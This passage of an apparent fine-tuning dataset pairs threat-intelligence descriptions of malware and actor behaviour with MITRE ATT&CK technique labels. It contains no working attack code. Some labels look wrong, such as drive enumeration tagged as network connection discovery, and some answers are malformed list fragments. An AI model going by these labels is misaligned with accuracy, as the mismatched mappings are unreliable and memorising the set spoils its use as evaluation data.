            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Traffic traversing the  network will be forwarded to multiple nodes before exiting the  network and continuing on to its intended destination."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Should the victim use one of these portable browsers with a proxy server configured, the malware can find that in the user’s preferences and use that proxy to communicate with its C&amp;C servers"
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Retefe is different from most banking Trojans, which typically attack web browser software to capture login credentials before they are encrypted with SSL and sent to the bank’s web server. Instead, Retefe uses the Windows PowerShell to execute a series of commands that installs a new root certificate on the system and a proxy configuration to re-route the traffic to the targeted banking websites"
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LitePower can create a scheduled task to enable persistence mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To obtain a job, the Trojan builds a subdomain that has the following structure and issues a DNS query to the C2 server: c<unique identifier><job identifier padded with ‘0’ to make three digits><sequence number>c The generated subdomain is then subjected to a number-to-character substitution function that is the inverse of the Table 4, which effectively converts all the digits in the subdomain into characters"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAWKBALL has encrypted data with XOR before sending it over the C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "allows adversaries to modify the way the \"beacon\" payload communicates. This is called \"Malleable C2\" in the  manual and is intended to allow a penetration test team to mimic known APT C2 methods."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Services may be created with administrator privileges but are executed under system privileges, so an adversary can also use a service to escalate privileges from Administrator to System. They can also directly start services through Service Execution. 29],[30(link is external)] - During the STOLEN PENCIL operation in May 2018, Kimsuky used the GREASE malware. 32(link is external)] Kimsuky also targets Microsoft Office users by formatting their documents in a .docx file rather than .hwp and will tailor their macros accordingly"
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet is an advanced, modular banking Trojan that primarily functions as a downloader or dropper of other banking Trojans. Additionally, Emotet is a polymorphic banking Trojan that can evade typical signature-based detection. It has several methods for maintaining persistence, including auto-start registry keys and services. Furthermore, Emotet is Virtual Machine-aware and can generate false indicators if run in a virtual environment"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerSploit contains a collection of Privesc-PowerUp modules that can discover and exploit DLL hijacking opportunities in services and processes."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Next, the loader fingerprints the Windows architecture. This is a crucial step because the loader needs to know what version of the backdoor to download (32-bit or 64-bit). Once the Windows architecture has been identified, the loader carries out the download"
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Trojan.Karagany can capture information regarding the victim's OS, security, and hardware configuration."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 created a directory named \"out\" in the user's %AppData% folder and copied files to it."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The NETWIRE payload has been injected into benign Microsoft executables via process hollowing."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use MS10-061 to exploit a print spooler vulnerability in a remote system with a shared printer in order to move laterally."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "achieves persistence by adding a shortcut of itself to the startup path in the Registry."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware basically provides a remote CMD/PowerShell terminal for the attackers, enabling them to execute scripts/commands and receive the results via HTTP requests"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Network activity started with an HTTPS URL to namecha[.]in, which is an alternative namecoin block explorer. Namecoin is a cryptocurrency system that can be used for decentralized DNS. That proves to be the case here, since the URL returned an IP address used for subsequent post-infection traffic as shown in Figure 10"
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ftp may be abused by adversaries to transfer tools or files from an external system into a compromised environment."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BloodHound can use PowerShell to pull Active Directory information from the target environment."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can function as a proxy to create a serve that relays communication between the client and C&C server."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLUELIGHT can use different cloud providers for its C2."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects general system enumeration data about the infected machine and checks the OS version."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT19 used Base64 to obfuscate commands and the payload."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remcos can capture data from the system’s microphone."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can delete specified files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT1 used the \"ipconfig /all\" command to gather network configuration information."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Digitally signed malware The entire bundle (VPN client and malware) was digitally signed with a valid code signing certificate issued by Symantec to AI Squared, a legitimate software company that develops accessibility software:  Thumbprint: F340C0D841F9D99DBC289151C13391000366631C Serial number: 45 E4 7F 56 0B 01 B6 4E 68 39 5E 5D 79 2F 2E 09 Another Helminth sample, 1c23b3f11f933d98febfd5a92eb5c715, was signed with a different AI Squared code signing certificate: Thumbprint: 92B8C0872BACDC226B9CE4D783D5CCAD61C6158A Serial number:62 E0 44 E7 37 24 61 2D 79 4B 93 AF 97 46 13 48 This suggest that the attackers had got a hold of an Ai Squared signing key, potentially after compromising their network"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The module gathers information about the user and attempts to verify whether this is a local admin or a domain admin. This shows that after infecting the machine, Valak chooses to target mainly administrators and domain admins. This indicates a propensity to target higher profile accounts such as enterprise admins"
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account', 'T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZeroT has used HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remcos can upload and download files to and from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bundlore can persist via a LaunchAgent."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 used dynamic DNS resolution to construct and resolve to randomly-generated subdomains for C2."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can create a new service named msamger (Microsoft Security Accounts Manager)."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WellMess can use junk data in the Base64 string for additional obfuscation."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It uses GetlogicalDrives to get a bitmask of all the drives available on the system, then iterates over each possible drive letter"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The original variant of FakeM generates network beacons to its C2 server that begin with a 32-byte header that in most cases is meant to blend into network traffic generated by legitimate applications. Following this 32-byte header, the original variant of FakeM includes data encrypted using a custom encryption cipher that uses an XOR key of “YHCRA” and bit rotation between each XOR operation"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windshift has used tools to deploy additional payloads to compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork uses malicious documents to deliver remote execution exploits as part of. The group has previously exploited CVE-2017-8570, CVE-2012-1856, CVE-2014-4114, CVE-2017-0199, CVE-2017-11882, and CVE-2015-1641."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Security Intelligence . Topics . Tricks of the Trade: A Deeper Look Into TrickBot’s Machinations . TrickBot is a new banking Trojan. An Unusual Man-in-the-Browser Technique . Nowadays, most modern financial malware families are capable of injecting malicious code into ongoing browser sessions (e.g. For this purpose, and much like other advanced banking Trojans, TrickBot deploys a browser-hooking engine designed to intercept communications to and from the victim’s internet browser. With the real-time fetching trick, the malicious code injections themselves are kept securely on the attacker’s server, not in a file on the victim’s endpoint. 7) Finally, TrickBot’s financial module replaces the original response that would normally come from the bank with the C2’s response, and the injected page is displayed on the victim’s end. The actor can turn the webinjections on or off on the fly, easily modify the injections and then push an update to some or all the infected victims instantaneously. Figure 2: TrickBot’s Server Side Web-Injects — Top Level Flow. Figure 5: TrickBot and Dyre both use “sourcelink” and “sourcequery” for their communications. TrickBot passes the target URLs list to its financial module, which is injected into the browser using pipes communication. A redirection attack, in short, means that instead of injecting malicious code into the original webpage, the victim is now redirected to a new site forged by the fraudsters"
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has collected data from remote systems by mounting network shares with \"net use\" and using Robocopy to transfer data."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RATANKBA uses \"tasklist /svc\" to display running tasks."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has installed updates and new malware on victims."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum has used DriveLetterView to enumerate drive information."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Account 4: In the latter stage of the compromise, the threat actor used Account 1 to create Account 4, a local administrator account. Account 4 was then used to delete logs and cover tracks"
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This links the previous samples with this unique username"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "hides base64-encoded and encrypted C2 server locations in comments on legitimate websites."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cleaver has been known to dump credentials using Mimikatz and Windows Credential Editor."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Egregor contains functionality to query the local/system time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a hidden directory named .calisto to store data from the victim’s machine before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged', 'T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the hostname of the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Egregor can enumerate all connected drives."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "jRAT can list local services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LookBack removes itself after execution and can delete files on the system."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used Mimikatz, Windows Credential Editor and ProcDump to dump credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork has created self-signed certificates from fictitious and spoofed legitimate software companies that were later used to sign malware."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Samples compiled in 2017 and 2018 were hard-coded with specific URI patterns to communicate with the C2 server via HTTP POST requests"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aquatic Panda has attempted to discover services for third party EDR products."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sykipot uses SSL for encrypting C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses HTTPS for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MoonWind obtains the number of removable drives from the victim."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADNEWS copies files with certain extensions from USB devices to\na predefined directory."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Socksbot can take screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the malware is downloaded and files verified, the script will check in the C:\\Program Files\\ directory for the presence Avast antivirus, which happens to be the most common installed AV worldwide"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used Themida to pack malicious DLLs and other files."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has gathered credentials using Mimikatz and ProcDump."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this campaign, the group sent spear phishing emails containing malicious documents that led to the installation of the UPPERCUT backdoor. Part of this blog post will discuss the updates and differences we have observed across multiple versions of this backdoor"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Naikon has used WMIC.exe for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some  samples install themselves as services for persistence by calling WinExec with the net start argument."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Checks if the user has Administrator privilege 2) Drops the Cobalt Strike Stager in debug or “%TEMP%” directory as “tmp_FlVnNI.dat” depending on the user privilege 3) Opens the decoy Word document 4) Locates the InstallUtil.exe and its installed version 5) Copies “schtasks.exe” to “%TEMP%” directory and renames it to “wtask.exe” 6) Creates Scheduled tasks with the name “Security Script kb00855787” 7) Renames “wscript.exe” into “winwsh.exe” 8) Runs the scheduled task to execute the Cobalt Strike Stager 9) C2 communication"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before executing the main payload, the QakBot loader will first test the infected system to see if it is a good candidate for infection. Figure 5 below shows a high-level execution flow of the QakBot loader"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery', 'T1518.001 - Software Discovery: Security Software Discovery', 'T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
